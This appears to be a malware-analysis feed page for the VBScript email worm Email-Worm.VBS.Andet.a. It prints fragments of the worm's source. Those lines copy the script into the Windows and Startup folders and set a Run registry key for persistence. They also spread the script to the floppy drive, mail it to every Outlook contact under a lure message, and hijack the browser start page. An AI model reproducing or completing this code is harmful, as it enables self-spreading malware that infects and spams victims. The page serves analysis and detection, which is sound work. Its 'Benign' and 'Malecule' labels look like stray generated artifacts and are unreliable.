Benign Download

Email-Worm.VBS.Andet.a

Startup-folder executable path referenceReferences or resolves Windows Startup folder
SHA-25637648858135c31eec642d2af3647a336db6d9b40685fd97f91bc749fe51b945c
MaleculeH₂(F₂Os)

Evidence

Startup-folder executable path reference lines 24–34
24:6… opyFile Wscript.ScriptFullName, "C:\windows\Intr.vbs", True
25set wshshell = Wscript.CreateObject("Wscript.shell")
26wshshell.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Startit","C:\Windows\Intr.vbs"
27set mwa = C:\windows\Intr.vbs
28mwa.attributes = 3
29fso.CopyFile Wscript.ScriptFullName, "C:\Windows\Start Menu\Programs\StartUp\Ink.vbs", True
30set strtp = "C:\Windows\Start Menu\Programs\StartUp\Ink.vbs"
31strtp.attributes = 3
32set flppy = fso.GetDrive("A")
33if flppy.IsReady then
34fso.CopyFile Wscript.ScriptFullName, "A:\READ …
English function-word token "for" lines 39–43
39:20… Space("MAPI")
40set victim=mise.AddressLists(1)
41For rlp=1 To victim.AddressEntries.Count
42set male=ootlook.CreateItem(0)
43male.To=ootlook.GetNameSp …
English function-word token "the" lines 44–53
44male.Subject="I think you should take a look at this"
45male.Body="It's in the attachments. It may be something that you need to see."
46male.attachments.add Wscript.ScriptFullName
47male.DeleteAfterSubmit=True
48male.send
49ootlook.quit
50
51
52if Day(Now) = 5 And Month(Now) = 9 then
53wshshell.regwrite "HKLM\Software\Microsoft\Internet Explorer\Main\Start Pa …
English function-word token "and" lines 55–57
55:38… osoft\Internet Explorer\Main\Start Page="http://and.yet.another.year.to.live.through"
56else
57wshshell.regwrite "HKLM\Software\Microsoft\Internet Ex …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.